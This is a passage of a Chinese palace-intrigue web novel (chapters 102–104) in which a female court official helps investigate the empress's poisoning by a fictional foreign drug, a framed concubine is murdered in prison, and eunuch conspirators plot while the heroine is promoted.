虚云子手指抚过她的脸颊:“剂量够了,再下反而容易露馅,现在皇后那身子,已经油尽灯枯,就算太医院查出是逍遥散,也难救回来了。” 女人眸色翻涌,惧怒交杂,还夹着一丝莫名的悸动。 “你啊你。” 她咬着牙,轻轻捶着他健硕的胸肌,娇嗔道:“真是无法无天,我就是太骄纵你了!” “胆大才能成事。”虚云子笑了笑,低头想亲她。 女人偏头躲开。 “行了。” 她推开他,重新坐起身:“我得走了,这事太大,我得赶紧去见魏公公。” ———— 坤宁宫。 周妙雅俯身探看顾云舒,皇后仍昏睡着,眉头紧锁,气息微弱。 而后,她转身看向卢院判,声音平静:“既然已确定皇后中的是逍遥散,接下来该怎么做,卢院判得赶紧拿个主意。” 卢院判深吸了一口气,强迫自己定了定神:“周司掌可有何良策?” 周妙雅走回桌边站定,语速不疾不徐,字字清晰:“目前有两件要紧事,第一,得找到解毒的法子。” 她顿了顿,继而说道:“下官之前查济慈堂的案子,只验出了毒,没得机会找解毒之法。因为文老太太和那些女子…早已命丧逍遥散之手。” 屋内霎时一片寂静。 “所以…” 周妙雅继续道:“得翻医书,尤其是北狄那边的典籍,或者记载异域奇毒的方书。逍遥散既是北狄秘药,解法或许也在他们的医书里。我与王老太医当年便是一同翻了十日医书,才找到逍遥散的线索。” 卢院判点头:“太医院藏书阁里,有几部存封已久的从北边带回来的医书,一直没人细看,我这就去找。” “不止太医院。” 周妙雅道:“六尚局的典籍库里也有,韩司药,这事得麻烦你。” 韩司药擦了擦眼泪,站直身子:“下官这就去。” “等等。” 周妙雅叫住了她:“还请劳烦二位大人查典籍的时候留心些,别惊动了旁人,就说…就说是皇后娘娘病情反复,需要查些古方。” 韩司药明白她的意思,点点头,转身出了内殿。 周妙雅转向卢院判:“第二件事,得查下毒之人。” 卢院判眉头紧锁:“怎么查?宫里这么多人…” “有线索。” 周妙雅镇定道:“逍遥散这种毒,入药的方子很特别,需少女的心头血。” 如意猛地抬起头,脸色煞白地望向她。 周妙雅解释道:“是一种取血的法子,用利刃在少女的掌心划开一道口子,取掌心血。那地方靠近心脉,血质温热纯净,最适合入药。” 说罢,她看向如意:“如意姐姐可有听说,宫中最近有没有哪个宫女或女官,手上突然受了伤?” 如意怔了怔,随即努力回想。 半晌,她摇了摇头:“没…没注意,坤宁宫的人,奴婢都仔细看过,没有人手上带伤。” “不只坤宁宫。” 周妙雅道:“六尚局,各宫各院,都可能有。下毒的人不会在自己的住处行事,多半会找个偏僻的地方。” 说罢,她看向卢院判:“这事得让崔尚宫知道,她在六尚局这么多年,对各处的人都很熟,可暗中查访,看最近有没有哪个宫女或者女官突然告病,或者手上缠了布带,做事不方便。” 卢院判颔首:“下官这就去寻崔尚宫。” 他转身欲走,又停下,回头看向周妙雅。 明角灯的光映在她脸上,明明灭灭的。 她站在那儿,背挺得笔直,眼神清澈冷静,没有半分慌乱。 卢院判忽然想起王老太医。 昔年他刚拜师时,随王老太医一起去给先帝的一位贵人诊病。那病来得急,太医院众说纷纭,都不敢下药。 王老太医便如这般冷静立于榻前,不慌不乱,条理分明,一字一句地分析。 那时候他便在心中暗想,老师像座高山,任外面风雨再大,也撼不动分毫。 “周司掌。” 他开口,声音中带着不自觉的敬意:“你…不愧是王老太医亲手带出来的高徒。” 临危不乱,纲举目张,该狠则狠,该细则细,这份定力,常人学医一辈子也难以修得。 周妙雅一瞬间愣住了。 她没想到卢院判会突然说这个。 “卢院判谬赞了。” 她垂下眼,声音放得极为恭谦:“下官只是…只是不想再有人像文老太君那样,死得不明不白。” 卢院判深深看她一眼,不再言语,转身离去。 ———— 卢院判将话带到的时候,崔尚宫正在翻看各司各局报上来的名册。 她接过卢院判递来的纸条,扫了一眼,只见纸条上写着:“掌心血伤,暗中查访。” 崔尚宫没多问,只点了点头,便将纸条凑近灯烛烧掉了。 卢院判离开后,崔尚宫便起身,唤来了一位心腹女官,与她低声吩咐了几句。 那女官便领命去了。 接下来的两日,六尚局表面上一切如旧,各司各房照常点卯,办差,下值。 可暗地里却暗流涌动,情报早已编织成网。 崔尚宫遣出的,皆是平日端茶,送墨,对册的熟脸。在看似寻常的往来里,眼睛早已把该看的都看了。 直至第三日傍晚,那名心腹女官终于回来复命了。 “如何?”崔尚宫问道。 女官压低声音道:“回尚宫的话,都查过了,六局二十四司,还有各宫各院近身伺候的宫女,一共三百七十二人,无一人手上有新伤。” 崔尚宫皱了皱眉:“无一人?” “也不是…” 那女官欲言又止:“确实是有个人伤了,但不在名册里。” “谁?” “秦选侍。” 崔尚宫怔了怔:“秦婉如?” “是。” 女官低声应道:“就是西苑冷宫里的那位,送饭的宫女瞧她左手缠着厚布,自称是不小心划破的,可布条裹得密,伤得怕是不浅。” 崔尚宫沉默了片刻。 秦婉如,就是那个爬了龙床,又被打入冷宫的秦家女儿,昔日的司籍司正七品司典。 “还有别的吗?”崔尚宫问那女官。 女官摇头:“就她一个,其他人都未见异常。” “知道了。” 崔尚宫摆摆手:“你去吧,这事别往外说。” 女官行了个礼,便转身走了。 秦婉如…一个失了宠的冷宫弃妃,手上却偏偏在这个时候受了伤。 太巧了… 她转身回了值房,拿起笔,写了张纸条,随后卷成细条,塞进一支空心的竹管里。 而后她唤来另一个 心腹,叮嘱道:“送去坤宁宫,亲自交到如意的手上。” 那心腹接过竹管,揣进袖中,便低头出去了。 坤宁宫内,周妙雅接过如意递来的纸条。 纸条上只有一行娟秀的小字:“秦婉如,左手伤。” 周妙雅盯着那行字,看了许久。 如意在一旁等着,有些焦急不安:“周司掌,可是发生什么事了?” 周妙雅没说话。 她只是默默将纸条凑近灯焰上,看着纸边卷曲,变黑,最终化作灰烬,落在掌心。 “如意姐姐。” 半晌,周妙雅终于轻声开口:“冷宫里的人,怎么会突然伤了手?” 如意愣了愣:“许是…许是不小心?” “不小心?” 周妙雅重复了一遍,像是在细细咀嚼着这句话:“冷宫里能有什么利刃?膳房送去的都是钝器,怕她们寻短见,衣裳被褥也查得严,连根针都不许留。” 她抬起眼,看向如意:“那她是怎么伤的?” 如意张了张口,答不出。 秦婉如。 一个已经废了的棋子。 如今,偏偏在这时候手受伤了。 “周司掌。” 如意小声问道:“你觉得…是她下的毒?” 周妙雅摇摇头。 “不是她。” 她说得很肯定:“她没那个本事,也没那个胆子。” 逍遥散是北狄秘药,秦婉如一个深闺养大的官家小姐,从哪里弄来这种东西? 就算弄来了,她人在冷宫,怎么接近坤宁宫?怎么把毒下到皇后的药里? “那…”如意更糊涂了。 “她是幌子。” 周妙雅转过身,明角灯的光映在她眼里,沉静得像深潭:“有人要借她的手,把这件事栽到她头上。” 就像当初的康婧瑶。 文老太太死了,济慈堂的案子结了,所有人都以为,下毒害人的是康婧瑶,是因为她嫉恨周妙雅,想除掉文老太太这个庇护。 康婧瑶临死前说,所有人都只是棋子。 现在,秦婉如成了下一颗棋子。 一个失了宠,被关在冷宫的女人,对谁都没有威胁。 拿她当替罪羊,最合适不过。 等她认了罪,这案子就可以结了。皇后中毒的事,便可以推到后宫妇人争宠嫉恨之上。 到时候,北狄秘药,敌国阴谋,这些要命的事,便都可以掩盖过去了。 好毒的算计! 第103章 顾凌云快马加鞭, 星夜兼程赶回了京城,当他冲进坤宁宫时,外面的天光已经暗透。 他跨步而入, 飞鱼服的下摆还沾着城外官道的泥土, 靴底在坤宁宫的地砖上拓出半湿的泥印。 一进殿门, 他的视线便越过躬身行礼的宫人,直直投向屏风后的暖榻。 烛光昏黄,笼着榻上顾云舒瘦削的身影。她半靠在锦缎堆叠的引枕上,面色惨白,只余眼底一点虚弱的微光。 她微微偏着头,正听着身旁的人低声说着什么。 那人身材纤细,背对着他, 露出一截素净的月白色衣袖,正细致地替顾云舒掖着被角。 听到身后又沉又急的脚步声, 那纤细身影回首, 恰迎上了顾凌云焦灼的目光。 “顾大人!” “周女官…” 周妙雅见顾凌云跨步朝这里走来,识趣地站起身,往旁边让开两步, 将那位置腾出来给他。 顾凌云的脚步在她转身的那一刹那,微微顿了顿。 烛火摇曳, 映得她比上次见时清减了许多,眼底泛着淡青, 显是日夜守在病榻前未曾合过眼。 原来在他策马狂奔,恨不能插翅而回的每一夜, 是她守在这里,替他照顾着阿姐。 一瞬间,酸涩与感激之情交杂在他眼底翻涌。 他很快敛住了心神, 只朝周妙雅点了点头,然后快步走到榻边,目光重新落回了顾云舒身上。 “阿姐…”他开口,哑声唤她。 顾云舒缓缓侧过脸,唇角欲扬却无力,只浮出一丝极浅的弧度。 她抬起瘦骨嶙峋的手,青紫色的血管在苍白的皮肤下清晰可见。 顾凌云两步上前,一把将那只冰凉的手握进掌心,手掌收紧,似要把自己全身的热意都渡给她。 “阿姐…我回来了。”他又开口唤她,声音平稳了许多,只是眼眶不受控制地发烫。 顾云舒看着风尘仆仆归来的弟弟,眼神沉静地像一潭死水。 她轻轻地嗯了一声,手指在他掌心里微微蜷缩了一下。 看到此情此景,周妙雅悄无声息地退到了稍远的桌案边,她将自己隐藏在了明角灯投下的阴影中,留出空间给这对姐弟。 如意引着卢院判进来时,刚好见到这一幕。 卢院判提着药箱,朝顾凌云行了一礼:“国舅爷。” 顾凌云放开阿姐的手,起身相迎:“卢大人,我阿姐如何?” 卢院判走到榻前,顾云舒轻轻伸出了手腕。他垫了丝帕,凝神诊脉,眉头渐渐锁紧。 殿内静得落针可闻,唯有烛火偶尔爆出一声轻响。 良久,卢院判收回手,面色凝重地看向顾凌云,又看了看顾云舒,斟酌着开口:“皇后娘娘的脉象…已比前几日平稳了许多,不再似那般疾冲狂乱,显是外毒已停。只是脉象依旧沉涩无力,虚浮若断。体内余毒未清,已深陷脏腑。” 顾凌云的心霎时沉了下去:“外毒已停?是什么意思?” “国舅爷莫急,便是下毒之人,已然停药。” 卢院判进而解释道:“正如周司掌所言,逍遥散需持续投毒,方能致命。如今停药,毒性不再叠加,加之这些时日周司掌与坤宁宫上下悉心调理,断绝了一切可能的入药饮食之途,娘娘全凭自身根基,方能转醒。” 他话音未落,顾凌云已霍然侧目,望向站在烛影中的周妙雅。 胸口翻涌着复杂的情绪,他又亏欠了她一份恩情… 周妙雅仍垂着眼,没有说话。 顾凌云收回目光,转而看向卢院判:“那解药呢?太医院可有进展?” 卢院判摇了摇头,脸上浮现出深切的无奈与自责:“下官与众同僚翻遍太医院及六尚局所藏典籍,包括前朝所得部分北狄残卷,只寻到逍遥散的毒性记载,解法…只字未提。” 顾凌云骤然攥紧了拳头,骨节几乎要被捏碎。 “不过…” 卢院判话锋微转,语气谨慎:“皇后娘娘如今毒性暂缓,暂无性命之虞,只是余毒不清,终是隐患,若是一直找不到解药…以娘娘目前的脉象推算,至多…只有三到五载光景。” 话音落下,殿内霎时一片死寂。 顾凌云僵立在原地,像被冰水从头浇下,彻骨生寒。 三到五载…那是什么意思,他听得明明白白。 他猛地转头看向顾云舒。 顾云舒却是静若止水,面上没什么表情。 她只是轻轻扯了扯唇角,目光空茫,良久,才风轻云淡地叹了一声:“知道了。” 顾凌云的胸口剧烈地起伏着,只觉一股血气直冲脑顶,血气顶得他眼眶生疼。 他想吼,想质问,想将殿内的花瓶通通砸碎,可看着阿姐那张平静的脸,所有的话都堵在了喉咙里,化成一片灼痛。 卢院判开了张温养的方子,交给如意,便躬身退下了。 如意红着眼眶,俯身想替顾云舒掖被角,却被她轻轻抬手止住。 顾云舒的声音极轻,却带着久居中宫的威仪:“如意,你先带凌哥儿退下,本宫有话,想单独同周司掌说。” 如意愣了愣,看向周妙雅。 顾凌云听到这话,也深深看了周妙雅一眼。 周妙雅从他的眼神中,看到了太多复杂的情绪。 她随即垂下眼帘,福身应是。 如意只得带着顾凌云退下,轻轻合上了殿门。 坤宁宫中烛焰跳动,殿内此刻只余她二人。 顾云舒抬眼,目光落在了周妙雅身上。 “周司掌。” 她开口,声音虚弱:“这些日子,辛苦你了。” 周妙雅微微摇头:“下官分内之 事。” “分内?” 顾云舒喃喃重复了一遍,唇角扯起了一个极淡的弧度:“这整座坤宁宫内,除了如意,如今谁还把照看本宫当做分内之事?” 周妙雅垂眸,未接话。 顾云舒凝视她良久,眸色愈发深邃,忽然,她低叹了一句:“你很好…宁王与凌哥儿都属意于你,眼光倒是不差。” 周妙雅的指尖轻轻颤动了下,只俯首更低,仍不敢做声。 顾云舒不再往下说了,她重新靠回引枕,闭上眼睛,仿佛刚才那些话只是随口一提。 良久,她再开口时,话题已然转开:“周司掌,依你看,下毒之人为何突然停药?” 周妙雅抬眸,看向榻上面色苍白的皇后,缓缓道:“下官斗胆推测,原因有三。” 顾云舒好奇道:“哦?本宫倒是好奇,那你说说看,是哪三个原因?” 周妙雅冷静推测: “其一,下毒剂量已足,逍遥散毒性阴损,持续投毒半月,已足够深植肺腑,无需再添,徒增暴露风险。” “其二,欲盖弥彰,毒性过烈,死状太显,容易引人疑窦。如今娘娘只是病重,而非暴毙,更能掩人耳目。” “其三,也是下官最忧心之处。下毒之人停药,或许是因为,他们的目的…本就不是要娘娘立刻死去。” 顾云舒的眼睫微微颤动了一下,没有睁开眼。 “他们要的是娘娘久病不愈,长卧床榻,无力执掌六宫。” 周妙雅的声音回荡在寂静的殿内,清晰而冷静:“他们要的是借中宫久病之名,搅乱后宫,撼动前朝,让权柄易位,人心思变。” 殿内烛火跳动,将两个人的影子投到墙壁上,拉得极长。 顾云舒仍闭着眼,许久,才轻轻叹了口气:“是啊。” 她喃喃道:“死了反倒干净,这般不死不活地吊着…才是钝刀子割肉,疼得长久。” 说罢,一行清泪顺着她苍白的面颊滑落。 她恨这世道不公,恨自己无能,恨自己劝不动君上,更恨顾家世代清流,却仍被这腌臜的世道逼到绝境。 ———— 几日后,顾云舒已能下地行走。 敌国秘药潜入中宫,早已不是后宫妇人争宠这种小事,顾云舒随即下令彻查后宫,想要揪出北狄奸细。 她叫来如意,吩咐道:“传本宫懿旨,阖宫彻查。凡坤宁宫,六尚局及各宫各院,一应宫人,女官,内侍,近半月行踪,接触之物,身上有无异状,皆要详录在案。” 如意心头一凛,肃容应道:“奴婢遵旨。” 皇后懿旨一出,后宫一时间暗潮骤涌。 崔尚宫坐镇六尚局,韩司药协理,将各处翻查得底朝天。 魏琰那边,司礼监也派了人手配合盘查内侍,虽是做做样子,却也声色严厉。 一时间,宫道之上,尽是一路小跑,面色肃然的宫女与内侍,往日那点闲散的宫闱气息,早被风声鹤唳所取代。 连查带审了三日,所有线索齐齐指向西苑尽头那处偏僻的冷宫。 秦婉如… 崔尚宫带人亲往,率女官破门而入。屋内冷清,秦婉如正对着铜镜发呆,旧宫装颜色褪尽,左手缠裹着厚布,布缘渗着暗褐色的血痕。 见人进来,她只是怔了一瞬,旋即惨笑,竟也不挣扎,任由女官将她的双手缚住。 在她枕下,搜出了一个寸许长的扁圆瓷盒,盒内是少许白色的细腻粉末,无色无味。 韩司药当场以酒试之,淡蓝烟起。 “确是逍遥散。”卢院判的声音发沉。 人赃并获,铁证如山,秦婉如当即被压入北镇抚司诏狱大牢。 消息传到坤宁宫时,周妙雅正将新煎好的药端给顾云舒。 听完如意的禀报,她手上的动作顿了顿,将药碗轻轻放在榻边的小几上。 “娘娘。” 周妙雅抬眸,看向慢慢喝着药的顾云舒:“秦选侍左手掌心的伤,下官听韩司药提过,创口整齐,深可见骨,确是取掌心血所致,如今逍遥散又在她的住处搜出…确实是证据确凿。” 顾云舒放下药碗,用帕子拭了拭唇角,没有说话。 周妙雅话锋一转,声音压得更低了些:“只是,下官觉得,此事太过于顺利。” 顾云舒抬眼,目光凝视着她。 周妙雅缓缓道:“秦选侍失宠已久,幽居冷宫,与外界几乎断绝往来,她如何能拿到北狄秘药逍遥散?又是如何在重重宫禁之下,将毒下到娘娘的药中?即便她真有此心,又为何将罪证如此明显地藏于枕下,手掌受伤也不加掩饰?” 她抬眼与顾云舒对视:“这手法,与当初文家老太君被害,康婧瑶被推出来顶罪…如出一辙。” “你的意思是…” 顾云舒开口,声音中带着久病的虚弱,却透着彻骨的寒意:“秦婉如,也是枚弃子?” “下官以为,是。” 周妙雅声音坚定:“幕后之人,需要一个人,来担下毒害中宫的罪名。秦选侍,失宠,无依,便是最合适的人选。” 顾云舒轻轻咳了两声,如意忙上前替她抚背。 她缓过气,目光重新落回周妙雅的脸上:“所以,秦婉如不能死。” “至少,在审出她背后的人之前,不能死。” 周妙雅接道:“下官斗胆,请娘娘密令顾大人,加派人手看紧诏狱,尤其是关押秦选侍的牢房,严防灭口。” 顾云舒听罢这话,轻轻颔首,随即立刻叫来如意:“你亲自去往顾府,传本宫旨意,密令凌哥儿盯死诏狱。” 顾凌云接到旨意,当日便去了诏狱。 诏狱最深处,秦婉如被单独囚于重锁死牢,门外四名锦衣卫心腹轮值,昼夜不空。凡入口之饮食,须三人同验,方可送入。顾凌云更是每日亲自两巡,雷打不动。 秦婉如在狱中,起初一言不发,只缩在角落,眼神空洞。 过了两日,兴许是熬不住,终于开了口,却翻来覆去只一句话:“不是我…我不知道那东西是怎么来的…” 顾凌云亲自审过两次。 她哭得涕泪横流,左手包裹的布条渗出血迹,声音嘶哑:“顾大人…我真的不知道!那日我醒来,手上就多了这道口子,枕下多了那个盒子…我害怕,我不敢声张…” 她的恐惧不似作伪,眼底的茫然也真真切切。 顾凌云心知周妙雅的推测是对的。 秦婉如,多半是被人弄晕后栽赃,可无论他怎么问,她都说不清那日究竟见过谁,吃过什么,只反复说睡了很长一觉,醒来便如此。 线索似乎中断了… 第五日夜里,顾凌云因宫中急差,未能亲赴诏狱,行前再三叮嘱当值小旗,务必寸步不离。 子时刚过,坤宁宫便收到了北镇抚司的急报。 当顾凌云赶回诏狱时,牢门外那四名他亲手安排的心腹,依旧笔挺地站着,牢门锁链完好无损。 而牢房内,秦婉如蜷缩在草席上,已经没了气息… 第104章 诏狱中, 秦婉如的死相极其难看。 她双目圆睁,脸上凝着极度的惊恐,嘴角淌下一缕黑血。左手掌心包裹的布条被扯开, 那道狰狞的伤口皮肉翻卷着, 边缘浸出诡异的青黑色。 仵作验过后, 被证实是中了见血封喉的剧毒,毒被下在她伤口每日更换的金疮药里。 顾凌云当即心下一沉,看来对方来头不小,竟能将手伸进北镇抚司。 他当即下令连夜彻查,但凡诏狱中经手过药品,门锁,饭食之人, 皆被严查审问,可每当现出一丝端倪, 次日对方便成无名死尸。 对手下手竟如此狠毒。 线索就此中断, 续无可续。 ———— 司礼监后身有处僻静的厢房,寻常宫人不得靠近。 此刻屋内没有点明灯,只燃着一炉安神香, 青烟袅袅上浮。 魏琰斜倚在铺着软垫的榻上,闭着眼, 一个眉清目秀的小内侍正跪在榻边,拿着一根细长的银签子, 正小心翼翼地替他掏着耳朵,另一个小太监手持烛台替他照明。 康敏之坐在 下首的圈椅上, 同样闭目养神。另一个年纪更小的内侍蹲在他脚边,正捧着他的脚,手法娴熟地按着脚底的穴位。 屋内极静, 只偶尔听得二人惬意满足的轻哼。 须臾,门被轻轻推开了一条缝。 一个精悍的中年内侍闪身而入,反手将门合上。 他走到榻前三步远的地方,躬身垂手:“厂公,事已办妥。” 魏琰没睁眼,只从鼻腔中发出嗯的一声,尾音拖得极长,听不出情绪。 那中年内侍继续回禀道:“秦选侍…已经没气儿了,用的是剧毒见血青,掺在她每日换的金疮药里,伤口沾上,半盏茶功夫,便吐血而亡。” 康敏之挥了挥手,让那按脚的小太监停住了动作。 他睁开眼,瞥了那中年内侍一眼,又看向魏琰。 魏琰这才缓缓睁开眼,那采耳的内侍立刻停了手,捧着银签退到了一旁。 魏琰坐起身,揉了揉额角,神色淡淡的:“没留痕迹?” “没有。” 那中年内侍回答得倒是干脆:“那药是昨日就备好的,经了三道手,最后一道是咱们安在北镇抚司的人,保证都处理得干干净净。” 魏琰点点头,挥了挥手。 那内侍便躬身退了出去,一如来时一样悄无声息。 屋内复归寂然,只余安神香燃出的烟,一缕一缕袅袅直上。 半晌,魏琰忽然嗤笑了一声。 他慢悠悠地开口,嗓音阴柔:“虚云子…还是沉不住气啊。” 康敏之抬手,示意采耳与按脚的小内侍都退下。 待屋里只剩他们两人,他才缓声接话:“道长毕竟年轻,又是…那等出身,行事难免急躁了些。” 魏琰端起旁边小几上的茶盏,抿了一口,冷嗤道:“急躁?他分明是蠢。拉秦婉如顶罪,哄哄妇人之见便罢了,顾家那小子是吃素的?周妙雅那丫头是省油的灯?这回是混过去了,下次呢?还不是得让咱家帮他擦屁股。” 说罢,他尾音拖长,眸色阴郁:“奈何人家以色侍人,也算是本事,咱家…眼下还动不得他。” 康敏之沉默片刻,缓声道:“虚云子虽爱玩火,但他炼的丹,确实管用。陛下如今…离不了那东西。朝政大权,批红之权,如今尽在你我之手。这局面,他有一份功劳。” 而后,他抬眼看向魏琰:“此人,暂时留着还有用,派人盯紧些便是,莫让他再自作主张,坏了大事。” 魏琰唇角拂过一丝似笑非笑:“康大人说得是,有用的人,自然得暂时留着。” 康敏之提盏,以茶代酒,对着魏琰虚敬:“成大业者,总要几枚垫脚的棋子。” 魏琰阴恻恻地低笑道:“如今朝政大权尽落你我手心,陛下么,只管沉迷丹药,法术便是。他那几位皇叔,安王年老昏庸,代王又被李太妃牵制。朝堂之上,还能挡咱家路的,只剩皇后与宁王。” 说到此处,他唇角勾起一抹森冷的弧度,声音阴柔入骨:“陛下不许咱家碰皇后与宁王?好,咱家便不动。如今皇后半死不活地吊着,正合咱家的意,既死不了,咱家便顺势借这东风,让她比死更难受。” 话锋一转,他阴恻恻地眯起眼:“至于那个宁王,自他献画那日,咱家便觉出味儿不对。为个女人,折了秦以牧,断了咱家的钱袋子,这笔账,咱家还记在心上呢。” 康敏之眼里闪出狠光,声音压得极低:“魏公公,宁王纵是闲王,也是凤子龙孙,正统血脉。大业当前,哪怕是个废物,也能挡路,此人断然留不得。” 魏琰笑了笑,与康敏之俯身贴耳,嗓音压得极低,却字字阴毒:“康大人放心,圣上既已下了禁令,咱家便不碰他一根毫毛。不过,咱家已布下一局,无须你我亲自动手,便能叫他如皇后一般,生不如死。待到时他们二人双双自灭,陛下也怪不到咱家头上。” 康敏之见他胸有成竹,便不再多言,只举杯遥祝,算是为大业先贺。 魏琰懒懒倚回引枕,阴柔的嗓音里带着几分惬意:“咱家不着急,好戏…且得慢慢唱。” ———— 周妙雅因近期一直在坤宁宫伺候,已许久未回六尚局。 今日崔尚宫难得遣人来寻她,说是有重要的事情告知,周妙雅不敢怠慢,立刻向如意禀明,自己需得回六尚局一趟。 她前脚刚踏进六尚局,便见崔尚宫自值房而出。 “周司掌。” 崔尚宫唤住她,脸上难得露出一丝温和:“正要去寻你。” 周妙雅停下脚步,向崔尚宫福身行礼。 崔尚宫走到她面前,自袖中取出一卷文书,递给她:“皇后娘娘今日亲莅六尚局,念你侍疾有功,特擢你为司籍司正七品司典,即刻到任。” 周妙雅完全没有想到崔尚宫叫她回六尚局是为了宣布她升职,霎时间有些恍惚怔然。 她接过那卷任命文书,展开来看,墨迹尚新,上面清清楚楚地写着她的名字,正七品司籍司司典的职衔,以及皇后的凤印。 崔尚宫的语气平静:“秦婉如的位置空悬已久,你在皇后病重期间侍疾有功,又助太医院验出毒因,功不可没,这位置,你担得起。” 周妙雅垂眸片刻,将文书重新卷拢,双手捧着,朝崔尚宫深深一揖:“下官…谢尚宫提携。” 崔尚宫则笑着摆摆手道:“不必谢我,是你凭自己的本事,应得的。” 周妙雅与她相视一笑,一切尽在不言中。 她是打心底对崔尚宫生出感激,自入宫那日起,崔尚宫便一路相扶相持,这份赏识与提携,她铭记在心。 崔尚宫为人正直,刚正不阿,六尚局有她坐镇,是后宫之幸,遇到这样的好领导,也是自己的福气。 正当她沉浸在升职的喜悦中,这正七品司典的椅子尚未坐热,忽听喧哗声骤起,六尚局的院子里传来一阵刺耳的吵闹声。 吵闹声不小,女子拔高的嗓音尖利,又夹杂着围观女官的窃窃私语,搅得六尚局院中一片沸腾。 崔尚宫眉头蹙起,朝院内望去,只见院内老槐树下,尚仪局的冯尚仪与尚食局的谢尚食对面而立,两人脸色都不太好看,剑拔弩张。 “怎么回事?”崔尚宫厉声问了一句,便抬步往院中走去。 周妙雅迟疑了一瞬,也跟了上去。 直至行近至树下,才听清两人在争执什么。 冯尚仪的声音带着明显的不悦:“谢尚食,你这话说得好没道理,周女官是我司籍司的人,人家在司籍司做得好好的,刚刚升到了正七品司典,尚食局这时来抢人,于理不合。” 谢尚食年近四十,一向端肃,此刻却也急了脸:“冯尚仪,下官不是要抢人,只是司药司眼下正缺懂医理的女官。宫中太医皆为男子,后宫女眷看诊多有不便,你也是知道的。周司典善医术,韩司药又极力举荐,我这才想请她过来帮帮忙。” 她说着,转向刚走过来的崔尚宫,语气诚恳:“崔尚宫,您评评理,周司典若肯来尚食局,下官愿以司药司正六品司正之位相待,这是实缺,不是虚衔。” 冯尚仪听罢可不乐意了,只见她立刻上前一步,挡在谢尚食面前,脸色瞬间沉了下来:“谢尚食!你这是当着我的面挖墙脚?” 说罢,她转向崔尚宫,语气急切:“尚宫明鉴!周司典自司籍司任职以来,校勘《洪武正训》,修缮西山典籍,件件差事做得妥帖。她善丹青,通文墨,掌过宁王府藏书楼,那些活儿多复杂您是知道的。如今她还担着教导寿阳公主画艺的差事,公主离不得她,下官这人用得好好的,凭什么就要调走?” 谢尚食半步不让,声音骤然拔高:“教画不过是闲差!司药司掌六宫用药,系后宫娘娘们的凤体安康,这才是正经要紧的差事。周司典既怀此术,又得王老太医亲授医理,正当用在刀刃上,岂可困于笔墨闲务?” “什么叫刀刃上?什么叫笔墨闲务?” 冯尚仪气笑了:“司籍司掌管典籍书画,传承文脉,难道就不是正经差事?周司典在书画一道上的造诣,满六尚局你找出第二个我瞧瞧?” 两人针锋相对,你一言我一语,声调愈发拔高,引得围观女官们纷纷窃窃私语。 崔尚宫站在两人中间,眉头越皱越紧。 她抬手示意两人安静,可冯尚仪与谢尚食早已吵红了眼,哪里还顾得上什么官声威仪? 两人争执互不相让,一个言教画是闲差,一个驳典籍非闲务,声音个儿比个儿的尖利,引得围观的女官越来越多,私语声嗡嗡作响,六尚局前院霎时沸腾如菜市场般。 “够了!” 崔尚宫陡然厉喝一声。 她声音不高,却带 着久居上位的威压,霎时压过了所有的嘈杂。 冯尚仪与谢尚食闻言同时噤声,脸色涨得通红,却再不敢言一字。 院中顿时鸦雀无声。 崔尚宫脸色铁青,目光如刃,狠狠扫过此刻已默不作声的二人,厉声道:“六尚局是什么地方?容得你们这般当众喧哗,失了体统?此事若是传出去,岂不成了宫闱笑话!” 冯尚仪嘴角微微动了动,似想辩解,却终究没敢再开口,只低下头去。谢尚食也敛了神色,垂下眼帘,先前的锐气被一扫而空。 就在这时,院门外忽然传来急促的脚步声。 如意步履匆匆地走了进来,她穿过人群,目光锁定周妙雅:“周司典,皇后娘娘口谕,请您即刻入坤宁宫觐见。” 话音落地,满院霎时静的针落可闻。 众人的目光齐刷刷地落在了周妙雅身上。 周妙雅心头微动,面上却不动声色,只轻轻颔首道:“下官这就去。” 跟着如意一路往坤宁宫走去,周妙雅心头思绪翻涌。 六尚局那场争执来得突然,去得也蹊跷。皇后此刻召见,恐怕不只是为了平息纠纷那么简单。 周妙雅进殿时,顾云舒正倚在榻上,膝头摊着一本册子。 听见脚步声,她抬起头:“来了。” 周妙雅忙上前行礼:“下官参见皇后娘娘。” “坐吧。”顾云舒指了指榻边的凳子。 如意悄悄阖上门,退到了殿外。 殿内只剩下她二人。 顾云舒将膝上的册子放到了一旁,目光落在了周妙雅的脸上,打量了她片刻,忽而莞尔道:“六尚局那场戏,本宫都听说了,冯尚仪和谢尚食,为了抢你,差点打了起来。” 周妙雅垂眸低眉:“求皇后娘娘赎罪,都是下官惹出的风波。” 顾云舒则轻轻摇了摇头:“能让人争着要,那是你的本事。” 话音落下,她忽然肃色道:“周司典,本宫今日唤你来,是想同你讲几句实话。” 周妙雅听罢抬眸。 顾云舒的声音很平静:“你入宫那日,宁王和凌哥儿都来求过本宫,要本宫庇护你。” 周妙雅心头骤跳,指尖不自禁地蜷紧。 顾云舒看着她,眸色澄澈:“本宫当时没有答应,你想知道原委吗?” 周妙雅唇瓣微启,喉咙有些发干,她是万万没有想到,朱弘毅与顾凌云…竟背着她做过这样的事。 他们就这么不信她?不信她能凭自己的本事在这宫里站稳脚跟? 顾云舒似看透她所想,唇角扯起一个极淡的弧度:“这宫里…终究还是太险。” 她轻轻咳了两声,才继续说道:“与本宫站在一条船上,就是与魏琰公开为敌,如今阉党一手遮天,连陛下都…你看看本宫这副样子。” 她苦笑中带着涩味:“本宫当时回绝他们,是因为本宫不想让你一入宫,就成为魏琰的眼中钉,成为阉党扳倒本宫的活靶子。” 周妙雅垂在身侧的手慢慢收紧,顾云舒对她的回护,她看的再分明不过。 “周司典,本宫今日就问你一句话。” 顾云舒突然抬起眼,目光直直看向周妙雅,那眼神中,颇有一丝破釜沉舟的意味: “现在,你敢不敢…与本宫站在一起?” 周妙雅迎上顾云舒的眼神,脑海中瞬间闪过了很多画面。 她没有犹豫,她心底澄澈如镜,孰是孰非,黑白善恶。 她声音坚定,字字如刃:“下官敢!皇后娘娘的回护之恩,下官没齿难忘,顾家世代清流,皇后娘娘心系江山社稷,能为娘娘效力,是下官之幸。” 顾云舒凝她良久,忽地轻笑出声来。 “好!” 她笑着,眼角却泛起湿润的水光:“就冲你这句话,宁王没看错你,凌哥儿也没看错你,本宫与崔尚宫更是没有看错你!” 随即,她转向门外,唤道:“如意!” 门立刻被推开,如意快步进来:“娘娘。” 顾云舒坐直了身子,声音虽弱,却带着皇后不容置疑的威仪:“传本宫懿旨,擢司籍司正七品司典周妙雅,调任尚宫局,任正七品司记司司典,专侍坤宁宫,掌录宫中要事,协理医药文书。各宫各局若有急病需诊治,可报至尚宫局,经崔尚宫准允后,由周司典前往协助。” 如意领命:“是,娘娘,奴婢这就去拟旨。”—— 作者有话说:Girl helps 